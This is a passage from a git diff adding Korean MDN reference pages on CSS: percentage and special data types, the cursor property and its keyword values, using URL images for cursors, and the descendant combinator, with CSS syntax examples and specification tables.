+<p>퍼센트 값은 언제나 다른 양, 예컨대 길이와 같은 것에 상대적입니다. 퍼센트를 허용하는 속성은 그 퍼센트가 참조하는 양 또한 정의합니다. 이 양은 같은 요소가 갖는 다른 속성의 값이거나, 조상 요소가 갖는 속성의 값이거나, 이 요소를 포함하는 블록의 치수 등이 될 수 있습니다.</p>
+
+<p>예를 들면, 어떤 박스의 {{cssxref("width")}}를 퍼센트로 지정한 경우, 그 박스의 부모의 계산된 너비의 퍼센트를 참조합니다:</p>
+
+<pre class="brush: css notranslate">.box {
+ width: 50%;
+}</pre>
+
+<h3 id="퍼센트와_치수_함께_사용하기">퍼센트와 치수 함께 사용하기</h3>
+
+<p>일부 속성은 두 자료형 중 하나를 선택해서, 예를 들면 <code>&lt;length&gt;</code> <strong>또는</strong> <code>&lt;percentage&gt;</code>를 골라서 치수를 지정할 수 있습니다. 이 경우 사양에는 허용되는 값이 {{cssxref("&lt;length-percentage&gt;")}}처럼 조합된 단위로 기술됩니다. 다음은 가능한 다른 조합입니다:</p>
+
+<ul>
+ <li>{{cssxref("&lt;frequency-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;angle-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;time-percentage&gt;")}}</li>
+</ul>
+
+<h3 id="특별한_자료형_다른_사양에서_정의된_것들">특별한 자료형 (다른 사양에서 정의된 것들)</h3>
+
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+</ul>
+
+<h4 id="색깔">색깔</h4>
+
+<p>{{cssxref("&lt;color&gt;")}} 값은 요소의 외관 색깔(예: 배경색)을 지정하며, <a href="https://drafts.csswg.org/css-color-3/">CSS Color Module</a>에 정의되어 있습니다.</p>
+
+<h4 id="이미지">이미지</h4>
+
+<p>{{cssxref("&lt;image&gt;")}} 값은 CSS에서 사용될 수 있는 다양한 종류의 이미지를 지정하며, <a href="https://www.w3.org/TR/css-images-4/">CSS Image Values and Replaced Content Module</a>에 정의되어 있습니다.</p>
+
+<h4 id="위치">위치</h4>
+
+<p>{{cssxref("&lt;position&gt;")}} 자료형은 배치 영역 안에서 객체의 2D 위치를, 예컨대 컨테이너 안에서 배경 이미지의 위치 같은 것을 정의합니다. 이 자료형은 {{cssxref("background-position")}}으로 해석되므로 <a href="https://www.w3.org/TR/css-backgrounds-3/">CSS Backgrounds and Borders specification</a>에 명시되어 있습니다.</p>
+
+<h3 id="함수_표기법">함수 표기법</h3>
+
+<ul>
+ <li>{{cssxref("calc()")}}</li>
+ <li>{{cssxref("min", "min()")}}</li>
+ <li>{{cssxref("max", "max()")}}</li>
+ <li>{{cssxref("clamp", "clamp()")}}</li>
+ <li>{{cssxref("toggle", "toggle()")}}</li>
+ <li>{{cssxref("attr", "attr()")}}</li>
+</ul>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Functionals">함수 표기법</a>은 더 복잡한 자료형을 표현하거나 CSS가 특별한 처리를 하도록 지시하는 자료형의 값입니다. 이 문법은 함수의 이름으로 시작해서 바로 왼쪽 괄호 <code>(</code>가 뒤따르고, 함수의 인자를 나열한 다음, 오른쪽 괄호 <code>)</code>로 끝납니다. 함수는 여러 개의 인자를 받을 수 있으며, CSS 속성 값과 비슷한 형식을 가집니다.</p>
+
+<p>공백 문자는 허용되지만, 괄호 안에서는 선택 사항입니다. (단 <code>min()</code>, <code>max()</code>, <code>clamp()</code> 함수 페이지의 주의 사항에서 공백 문자에 대한 내용을 확인하세요.)</p>
+
+<p><code>rgba()</code>와 같은 몇몇 레거시 함수 표기법이 콤마를 사용하지만, 일반적으로 콤마는 목록에서 아이템을 구분하기 위해 사용됩니다. 콤마가 인자를 구분하기 위해 사용된 경우, 콤마 전후의 공백 문자는 선택 사항입니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Values")}}</td>
+ <td>{{Spec2("CSS4 Values")}}</td>
+ <td><code>vi</code>, <code>vb</code>, <code>ic</code>, <code>cap</code>, <code>lh</code>, <code>rlh</code> 단위 추가.<br>
+ <code>min()</code>, <code>max()</code>, <code>clamp()</code> 함수 표기법 추가<br>
+ <code>toggle()</code> 추가</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Values")}}</td>
+ <td>{{Spec2("CSS3 Values")}}</td>
+ <td><code>calc()</code>, <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vw</code>, <code>vmin</code>, <code>vmax</code>, <code>Q</code> 추가</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS4 Colors")}}</td>
+ <td>{{Spec2("CSS4 Colors")}}</td>
+ <td><code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code>, <code>hsla()</code> 함수에 콤마 없는 문법 추가. <code>rgb()</code>와 <code>hsl()</code>에 알파 값 허용하며 <code>rgba()</code>와 <code>hsla()</code>를 그것들의 (지원이 중단된) 별칭으로 전환.<br>
+ 색깔 키워드 <code>rebeccapurple</code> 추가. 4자리와 8자리의 16진수 색깔 값 추가, 마지막 숫자(들)이 알파 값을 의미함.<br>
+ <code>hwb()</code>, <code>device-cmyk()</code>, <code>color()</code> 함수 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Colors")}}</td>
+ <td>{{Spec2("CSS3 Colors")}}</td>
+ <td>system-colors를 지원 중단으로 표시. SVG 색깔 추가. <code>rgba()</code>, <code>hsl()</code>, <code>hsla()</code> 함수 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS4 Images")}}</td>
+ <td>{{Spec2("CSS4 Images")}}</td>
+ <td>
+ <p><code>element()</code>, <code>image()</code>, <code>image-set()</code>, <code>conic-gradient()</code> 추가</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Images")}}</td>
+ <td>{{Spec2("CSS3 Images")}}</td>
+ <td>이미지를 처음으로 정의함.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>첫번째 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Types">CSS의 기본 자료형</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS 개론: 값과 단위</a></li>
+</ul>
diff --git a/files/ko/web/css/cursor/index.html b/files/ko/web/css/cursor/index.html
new file mode 100644
index 0000000000..113920f9ee
--- /dev/null
+++ b/files/ko/web/css/cursor/index.html
@@ -0,0 +1,315 @@
+---
+title: cursor
+slug: Web/CSS/cursor
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+ - Web
+translation_of: Web/CSS/cursor
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>cursor</code></strong> 속성은 요소 위에 마우스 커서가 올라갔을 때 보여줄 모양을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/cursor.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+cursor: pointer;
+cursor: auto;
+
+/* URL, 대체용 키워드 */
+cursor: url(hand.cur), pointer;
+
+/* URL과 좌표 및 대체 키워드
+crsor: url(cursor1.png) 4 12, auto;
+cursor: url(cursor2.png) 2 2, pointer;
+
+/* 전역 값 */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+</pre>
+
+<p><code>cursor</code> 속성은 쉼표로 구분한 0개 이상의 <code>{{anch("&lt;url&gt;")}}</code>과, 필수로 지정해야 하는 키워드 값으로 이루어집니다. 각각의 <code>&lt;url&gt;</code>은 이미지 파일을 가리켜야 합니다. 브라우저는 첫 번째 이미지를 불러오려 시도하고, 실패했을 땐 다음 이미지를, 모두 실패하거나 지정한 이미지가 처음부터 없었다면 키워드 값을 사용합니다.</p>
+
+<p><code>&lt;url&gt;</code>은 공백으로 구분한 숫자 쌍을 받을 수 있습니다. 두 숫자는 이미지의 좌상단 모서리를 기준으로, 커서가 상호작용하는 부분의 <a href="#&lt;x>&lt;y>">x, y 좌표</a>를 나타냅니다.</p>
+
+<p>아래 예제는 <code>&lt;url&gt;</code> 값으로 이미지 두 개를 지정했고, 두 번째 이미지는 <code>&lt;x&gt;&lt;y&gt;</code> 좌표도 설정했으며 모두 불러올 수 없으면 <code>progress</code> 키워드를 사용합니다.</p>
+
+<pre class="brush: css">cursor: url(one.svg), url(two.svg) 5 5, progress;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="&lt;url>" name="&lt;url>"><code id="&lt;url>">&lt;url&gt;</code></a></dt>
+ <dd>이미지 파일을 가리키는 <code>url(…)</code>, 또는 쉼표로 구분한 <code>url(…), url(…), …</code> 목록. 일부 커서 이미지를 사용할 수 없을 때를 대비해 여러 이미지를 지정할 수 있습니다. 이미지를 사용할 경우 URL이 아닌 값(하나 이상의 키워드 값)을 목록의 맨 뒤에 붙여야 합니다. <a href="/ko/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property"><code>cursor</code> 속성값으로 URL 사용하기</a>를 참고하세요.</dd>
+ <dt><a id="&lt;x>&lt;y>" name="&lt;x>&lt;y>"><code>&lt;x&gt;</code> <code>&lt;y&gt;</code></a> {{experimental_inline}}</dt>
+ <dd>xy 좌표. 32 미만의 {{cssxref("&lt;number&gt;")}}여야 합니다.</dd>
+ <dt><span id="Keyword values">키워드 값</span></dt>
+ <dd>
+ <p><em>행 위로 마우스를 올리면 현재 브라우저에서 보이는 모습을 확인할 수 있습니다.</em></p>
+
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">카테고리</th>
+ <th scope="col">CSS 값</th>
+ <th scope="col">예제</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr style="cursor: auto;">
+ <th rowspan="3" scope="row">일반</th>
+ <td><code>auto</code></td>
+ <td></td>
+ <td>사용자 에이전트가 현재 맥락에 맞춰 표시할 커서를 결정. 예를 들어 글씨 위에서는 <code>text</code>를 사용합니다.</td>
+ </tr>
+ <tr style="cursor: default;">
+ <td><code>default</code></td>
+ <td><img alt="default.gif" src="/@api/deki/files/3438/=default.gif" style="height: 26px; width: 26px;"></td>
+ <td>플랫폼에 따라 다른 기본 커서. 보통 화살표입니다.</td>
+ </tr>
+ <tr style="cursor: none;">
+ <td><code>none</code></td>
+ <td></td>
+ <td>커서 없음.</td>
+ </tr>
+ <tr style="cursor: context-menu;">
+ <th rowspan="5" scope="row" style="cursor: auto;">링크와 상태</th>
+ <td><code>context-menu</code></td>
+ <td><img alt="context-menu.png" src="/@api/deki/files/3461/=context-menu.png" style="height: 26px; width: 26px;"></td>
+ <td>콘텍스트 메뉴 사용 가능.</td>
+ </tr>
+ <tr style="cursor: help;">
+ <td><code>help</code></td>
+ <td><img alt="help.gif" src="/@api/deki/files/3442/=help.gif" style="height: 26px; width: 26px;"></td>
+ <td>도움말 사용 가능.</td>
+ </tr>
+ <tr style="cursor: pointer;">
+ <td><code>pointer</code></td>
+ <td><img alt="pointer.gif" src="/@api/deki/files/3449/=pointer.gif" style="height: 26px; width: 26px;"></td>
+ <td>링크를 나타내는 포인터. 보통 한 쪽을 가리키는 손입니다.</td>
+ </tr>
+ <tr style="cursor: progress;">
+ <td><code>progress</code></td>
+ <td><img alt="progress.gif" src="/@api/deki/files/3450/=progress.gif" style="height: 26px; width: 26px;"></td>
+ <td>프로그램이 백그라운드에서 작업 중이지만, 사용자가 인터페이스와 상호작용할 수 있음. (<code>wait</code>과 반대)</td>
+ </tr>
+ <tr style="cursor: wait;">
+ <td><code>wait</code></td>
+ <td><img alt="wait.gif" src="/@api/deki/files/3457/=wait.gif" style="height: 26px; width: 26px;"></td>
+ <td>프로그램이 작업 중이고, 사용자가 인터페이스와 상호작용할 수 없음. (<code>progress</code>와 반대) 간혹 모래시계나 시계모양 그림을 사용합니다.</td>
+ </tr>
+ <tr style="cursor: cell;">
+ <th rowspan="4" scope="row" style="cursor: auto;">선택</th>
+ <td><code>cell</code></td>
+ <td><img alt="cell.gif" src="/@api/deki/files/3434/=cell.gif" style="height: 26px; width: 26px;"></td>
+ <td>표의 칸이나 여러 칸을 선택할 수 있음.</td>
+ </tr>
+ <tr style="cursor: crosshair;">
+ <td><code>crosshair</code></td>
+ <td><img alt="crosshair.gif" src="/@api/deki/files/3437/=crosshair.gif" style="height: 26px; width: 26px;"></td>
+ <td>십자 커서. 종종 비트맵 선택에 사용합니다.</td>
+ </tr>
+ <tr style="cursor: text;">
+ <td><code>text</code></td>
+ <td><img alt="text.gif" class="default" src="/files/3809/text.gif" style="height: 26px; width: 26px;"></td>
+ <td>글씨 선택 가능. 보통 I빔 모양입니다.</td>
+ </tr>
+ <tr style="cursor: vertical-text;">
+ <td><code>vertical-text</code></td>
+ <td><img alt="vertical-text.gif" src="/@api/deki/files/3456/=vertical-text.gif" style="height: 26px; width: 26px;"></td>
+ <td>세로쓰기 글씨 선택 가능. 보통 옆으로 누운 I빔 모양입니다.</td>
+ </tr>
+ <tr style="cursor: alias;">
+ <th rowspan="7" scope="row" style="cursor: auto;">드래그 앤 드롭</th>
+ <td><code>alias</code></td>
+ <td><img alt="alias.gif" src="/@api/deki/files/3432/=alias.gif" style="height: 26px; width: 26px;"></td>
+ <td>별칭이나 바로가기를 만드는 중.</td>
+ </tr>
+ <tr style="cursor: copy;">
+ <td><code>copy</code></td>
+ <td><img alt="copy.gif" class="default" src="/@api/deki/files/3436/=copy.gif" style="height: 26px; width: 26px;"></td>
+ <td>복사하는 중.</td>
+ </tr>
+ <tr style="cursor: move;">
+ <td><code>move</code></td>
+ <td><img alt="move.gif" src="/@api/deki/files/3443/=move.gif" style="height: 26px; width: 26px;"></td>
+ <td>움직이는 중.</td>
+ </tr>
+ <tr style="cursor: no-drop;">
+ <td><code>no-drop</code></td>
+ <td><img alt="no-drop.gif" class="lwrap" src="/@api/deki/files/3445/=no-drop.gif" style="float: left; height: 26px; width: 33px;"></td>
+ <td>현재 위치에 놓을 수 없음.<br>
+ {{bug("275173")}}: Windows와 Mac OS X에서 <code>no-drop</code>은 <code>not-allowed</code>와 같습니다.</td>
+ </tr>
+ <tr style="cursor: not-allowed;">
+ <td><code>not-allowed</code></td>
+ <td><img alt="not-allowed.gif" src="/@api/deki/files/3446/=not-allowed.gif" style="height: 26px; width: 26px;"></td>
+ <td>요청한 행동을 수행할 수 없음.</td>
+ </tr>
+ <tr id="grab" style="cursor: -moz-grab; cursor: -webkit-grab; cursor: grab;">
+ <td><code>grab</code></td>
+ <td><img alt="grab.gif" class="default" src="/@api/deki/files/3440/=grab.gif"></td>
+ <td>잡을 수 있음. (잡아서 이동)</td>
+ </tr>
+ <tr style="cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing;">
+ <td><code>grabbing</code></td>
+ <td><img alt="grabbing.gif" class="default" src="/@api/deki/files/3441/=grabbing.gif"></td>
+ <td>잡고 있음. (잡아서 이동)</td>
+ </tr>
+ <tr style="cursor: all-scroll;">
+ <th rowspan="15" scope="row" style="cursor: auto;">크기 조절과 스크롤</th>
+ <td><code>all-scroll</code></td>
+ <td><img alt="all-scroll.gif" src="/@api/deki/files/3433/=all-scroll.gif" style="height: 26px; width: 26px;"></td>
+ <td>모든 방향으로 이동 가능. (패닝)<br>
+ {{bug("275174")}}: Windows에서 <code>all-scroll</code>은 <code>move</code>와 같습니다.</td>
+ </tr>
+ <tr style="cursor: col-resize;">
+ <td><code>col-resize</code></td>
+ <td><img alt="col-resize.gif" src="/@api/deki/files/3435/=col-resize.gif" style="height: 26px; width: 26px;"></td>
+ <td>항목/행의 크기를 좌우로 조절할 수 있음. 종종 좌우 화살표의 가운데를 세로로 분리한 모양을 사용합니다.</td>
+ </tr>
+ <tr style="cursor: row-resize;">
+ <td><code>row-resize</code></td>
+ <td><img alt="row-resize.gif" src="/@api/deki/files/3451/=row-resize.gif" style="height: 26px; width: 26px;"></td>
+ <td>항목/열의 크기를 상하로 조절할 수 있음. 종종 상하 화살표의 가운데를 가로로 분리한 모양을 사용합니다.</td>
+ </tr>
+ <tr style="cursor: n-resize;">
+ <td><code>n-resize</code></td>
+ <td><img alt="Example of a resize towards the top cursor" src="/files/4083/n-resize.gif" style="border-style: solid; border-width: 0px; height: 26px; width: 26px;"></td>
+ <td rowspan="8" style="cursor: auto;">움직일 수 있는 모서리. 예를 들어, <code>se-resize</code> 커서는 움직임이 사각형의 동남쪽에서 시작할 때 사용합니다. 어떤 환경에선 동일한 방향의 양방향 화살표를 대신 보여줍니다. 즉 <code>n-resize</code>와 <code>s-resize</code>는 <code>ns-resize</code>와 같습니다.</td>
+ </tr>
+ <tr style="cursor: e-resize;">
+ <td><code>e-resize</code></td>
+ <td><img alt="Example of a resize towards the right cursor" src="/files/4085/e-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: s-resize;">
+ <td><code>s-resize</code></td>
+ <td><img alt="Example of a resize towards the bottom cursor " src="/files/4087/s-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: w-resize;">
+ <td><code>w-resize</code></td>
+ <td><img alt="Example of a resize towards the left cursor" src="/files/4089/w-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: ne-resize;">
+ <td><code>ne-resize</code></td>
+ <td><img alt="Example of a resize towards the top-right corner cursor" src="/files/4091/ne-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: nw-resize;">
+ <td><code>nw-resize</code></td>
+ <td><img alt="Example of a resize towards the top-left corner cursor" src="/files/4093/nw-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: se-resize;">
+ <td><code>se-resize</code></td>
+ <td><img alt="Example of a resize towards the bottom-right corner cursor" src="/files/4097/se-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: sw-resize;">
+ <td><code>sw-resize</code></td>
+ <td><img alt="Example of a resize towards the bottom-left corner cursor" src="/files/4095/sw-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: ew-resize;">
+ <td><code>ew-resize</code></td>
+ <td><img alt="3-resize.gif" class="default" src="/files/3806/3-resize.gif" style="height: 26px; width: 26px;"></td>
+ <td rowspan="4" style="cursor: auto;">양방향 크기 조절 커서.</td>
+ </tr>
+ <tr style="cursor: ns-resize;">
+ <td><code>ns-resize</code></td>
+ <td><img alt="6-resize.gif" class="default" src="/files/3808/6-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: nesw-resize;">
+ <td><code>nesw-resize</code></td>
+ <td><img alt="1-resize.gif" class="default" src="/files/3805/1-resize.gif"></td>
+ </tr>
+ <tr style="cursor: nwse-resize;">
+ <td><code>nwse-resize</code></td>
+ <td><img alt="4-resize.gif" class="default" src="/files/3807/4-resize.gif" style="height: 26px; width: 26px;"></td>
+ </tr>
+ <tr style="cursor: -webkit-zoom-in; cursor: zoom-in;">
+ <th rowspan="2" scope="row" style="cursor: auto;">확대와 축소</th>
+ <td><code>zoom-in</code></td>
+ <td><img alt="zoom-in.gif" class="default" src="/@api/deki/files/3459/=zoom-in.gif"></td>
+ <td rowspan="2" style="cursor: auto;">
+ <p>확대/축소할 수 있음.</p>
+ </td>
+ </tr>
+ <tr style="cursor: -webkit-zoom-out; cursor: zoom-out;">
+ <td><code>zoom-out</code></td>
+ <td><img alt="zoom-out.gif" class="default" src="/@api/deki/files/3460/=zoom-out.gif"></td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>비록 명세에 cursor의 크기 제한은 정해져있지 않지만, 각각의 {{Glossary("user agent", "사용자 에이전트")}}가 별도로 최대 크기를 규정할 수도 있습니다. 이 때, 크기를 넘어가는 이미지를 사용할 경우, 보통 사용자 에이전트는 해당 이미지를 완전히 무시합니다.</p>
+
+<p>{{anch("브라우저 호환성")}} 항목에서 커서 크기 제한을 찾아보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css">.foo {
+ cursor: crosshair;
+}
+
+.bar {
+ cursor: zoom-in;
+}
+
+/* URL을 쓸 땐 키워드 값 필수 */
+.baz {
+ cursor: url("hyper.cur"), auto;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}</td>
+ <td>{{Spec2('CSS3 Basic UI')}}</td>
+ <td>Addition of several keywords and the positioning syntax for <code>url()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("css.properties.cursor")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property"><code>cursor</code> 속성값으로 URL 사용하기</a></li>
+ <li>{{cssxref("pointer-events")}}</li>
+</ul>
diff --git a/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html
new file mode 100644
index 0000000000..416718c17f
--- /dev/null
+++ b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html
@@ -0,0 +1,70 @@
+---
+title: cursor 속성값에 URL 사용
+slug: Web/CSS/cursor/Using_URL_values_for_the_cursor_property
+tags:
+ - CSS
+ - CSS_2.1
+ - Cross-browser_Development
+ - Web Development
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<p><a href="ko/Gecko">Gecko</a> 1.8 (<a href="ko/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0)은 URL 값을 <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">CSS2 커서 속성</a>값으로 사용하는 것을 지원합니다. 이 기능은 마우스 커서 모양으로 임의의 이미지 를 지정할 수 있게 해줍니다 — Gecko가 지원하는 모든 이미지 포맷을 사용할 수 있습니다.</p>
+
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+
+<p>이 속성의 문법은 다음과 같습니다:</p>
+
+<pre class="eval">cursor: [&lt;url&gt;,]* keyword;
+</pre>
+
+<p>즉, URL을 지정하지 않거나 혹은 다수의 콤마로 분리된 URL값들을 지정할 수 있으며, 이 값들 뒤엔 <strong>반드시</strong> <a href="ko/CSS">CSS</a>규정에 정의된 <code>auto</code> 나 <code>pointer</code>같은 키워드들이 따라와야 합니다.</p>
+
+<p>예를 들면, 다음과 같은 값이 지정될 수 있습니다:</p>
+
+<pre class="eval">cursor: url(foo.cur), url(<span class="nowiki">http://www.example.com/bar.gif</span>), auto;
+</pre>
+
+<p>우선 foo.cur의 로딩이 시도 되고, 만약 이 파일이 없거나 어떤 다른 이유로 파일이 부적합할 경우, bar.gif를 로드하게 되고 이것 마저 사용할 수 없게 되면, <code>auto</code>가 사용될 것입니다.</p>
+
+<p>커서 값에 대한 CSS3 <a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">syntax</a> 지원은 Gecko 1.8beta3에 부가되었으며, 따라서 Firefox 1.5에서 사용할 수 있습니다. 이 기능은 커서 이미지의 바운더리에 부착시킬 커서의 핫스팟의 좌표를 지정할 수 있게 해줍니다. 만일 아무것도 지정되지 않을 경우, 핫스팟의 좌표는 이미지 파일 자체에서 (CUR 와 XBN 파일의 경우) 읽어 들이거나 이미지의 좌측 상단 코너로 지정됩니다. CSS3 문법의 예문은 다음과 같습니다:</p>
+
+<pre class="eval">cursor: url(foo.png) 4 12, auto;
+</pre>
+
+<p>첫번째 숫자는 x좌표이며, 두번째 숫자는 y좌표입니다. 이 예문은 이미지의 왼쪽 위 (0,0)로부터 (4, 12)의 위치의 픽셀을 핫스팟으로 지정할 것입니다.</p>
+
+<h3 id=".EC.A0.9C.EC.95.BD_.EC.82.AC.ED.95.AD" name=".EC.A0.9C.EC.95.BD_.EC.82.AC.ED.95.AD">제약 사항</h3>
+
+<p>Gecko가 지원하는 모든 이미지 포팻이 사용가능합니다. 즉, BMP, JPG, CUR, GIF 등의 이미지를 사용할 수 있습니다. 그러나, ANI는 지원되지 않습니다. animated GIF 이미지로 지정해도, 커서는 animated 커서가 되지는 않을 것입니다. 이런 문제점은 향후 릴리즈에서 제거될 것입니다.</p>
+
+<p>Gecko는 커서의 크기에 관해서 어떤 제약을 두고 있지는 않습니다만, 다른 운영체제나 플랫폼들과의 최대의 호환성을 유지하기 위해 커서 크기를 32x32로 제한할것을 권장합니다. 특히, 이보다 큰 커서는 윈도우 9x (95, 98, ME) 에서 작동하지 않을 것입니다.</p>
+
+<p>투명 커서는 XP보다 이전 윈도우 릴리즈에서는 지원되지 않으며, 이는 운영체제의 제약사항입니다. 투명기능은 모든 플랫폼에서 작동합니다.</p>
+
+<p>모질라의 윈도우, OS/2 그리고 리눅스(GTK+ 2.4 나 그 이후 버전 사용) 릴리즈에서만 커서로 URL값이 지원됩니다. 다른 플랫폼들에대한 지원은 향후 릴리즈에 추가될 것입니다.(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, GTK 2.0/2.2: {{ Bug(308536) }})</p>
+
+<h3 id=".EB.8B.A4.EB.A5.B8_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80.EB.93.A4.EA.B3.BC.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1" name=".EB.8B.A4.EB.A5.B8_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80.EB.93.A4.EA.B3.BC.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1">다른 브라우저들과의 호환성</h3>
+
+<p>마이크로소프트 인터넷 익스플로러(MSIE)도 <code>cursor</code>속성으로 URL 값을 지원합니다. 그러나, CUR 과 ANI 포맷만을 지원합니다.</p>
+
+<p><code>cursor</code>속성 문법도 또한 제약이 덜한 관계로</p>
+
+<pre class="eval">cursor: url(foo.cur);
+</pre>
+
+<p>이나</p>
+
+<pre class="eval">cursor: url(foo.cur), pointer, url(bar.cur), auto;
+</pre>
+
+<p>와 같은 값도 MSIE에선 작동할 것입니다. 그러나 이런 값은 Gecko에선 작동하지 않을 것입니다. Gecko와의 호환성을 위해서 또 CSS규약에 따라, 항상 URL 리스트를 먼저 나열하시고, 정확히 하나의 키워드 값을 그 뒤에 사용하십시오.</p>
+
+<h3 id="To-do" name="To-do">To-do</h3>
+
+<dl>
+ <dd><em>To-do: document what MSIE does with CSS 3 hotspot locations</em></dd>
+</dl>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p>{{ languages( { "ja": "ja/Using_URL_values_for_the_cursor_property" } ) }}</p>
diff --git a/files/ko/web/css/descendant_combinator/index.html b/files/ko/web/css/descendant_combinator/index.html
new file mode 100644
index 0000000000..2d351f2c8e
--- /dev/null
+++ b/files/ko/web/css/descendant_combinator/index.html
@@ -0,0 +1,108 @@
+---
+title: 자손 결합자
+slug: Web/CSS/Descendant_combinator
+tags:
+ - CSS
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Descendant_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><span class="seoSummary">보통 한 칸의 공백 문자로 표현하는 <strong>자손 결합자</strong>(<code> </code>)는 두 개의 선택자를 조합하여, 뒤쪽 선택자 요소의 조상(부모, 부모의 부모, 부모의 부모의 부모...)에 앞쪽 선택자 요소가 존재할 경우 선택합니다.</span> 자손 결합자를 활용하는 선택자를 자손 선택자라고 부릅니다.</p>
+
+<pre class="brush: css no-line-numbers">/* List items that are descendants of the "my-things" list */
+ul.my-things li {
+ margin: 2em;
+}</pre>
+
+<p>기술적으로, 자손 결합자는 하나 이상의 {{Glossary("CSS")}} 공백 문자이므로 스페이스 외에도 캐리지 리턴, 폼 피드, 새 줄, 탭 문자도 해당합니다. 또한 결합자를 구성하는 공백 문자는 CSS 주석을 임의의 개수만큼 포함할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>selector1</var> <var>selector2</var> {
+ <var>/* property declarations */</var>
+}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li {
+ list-style-type: disc;
+}
+
+li li {
+ list-style-type: circle;
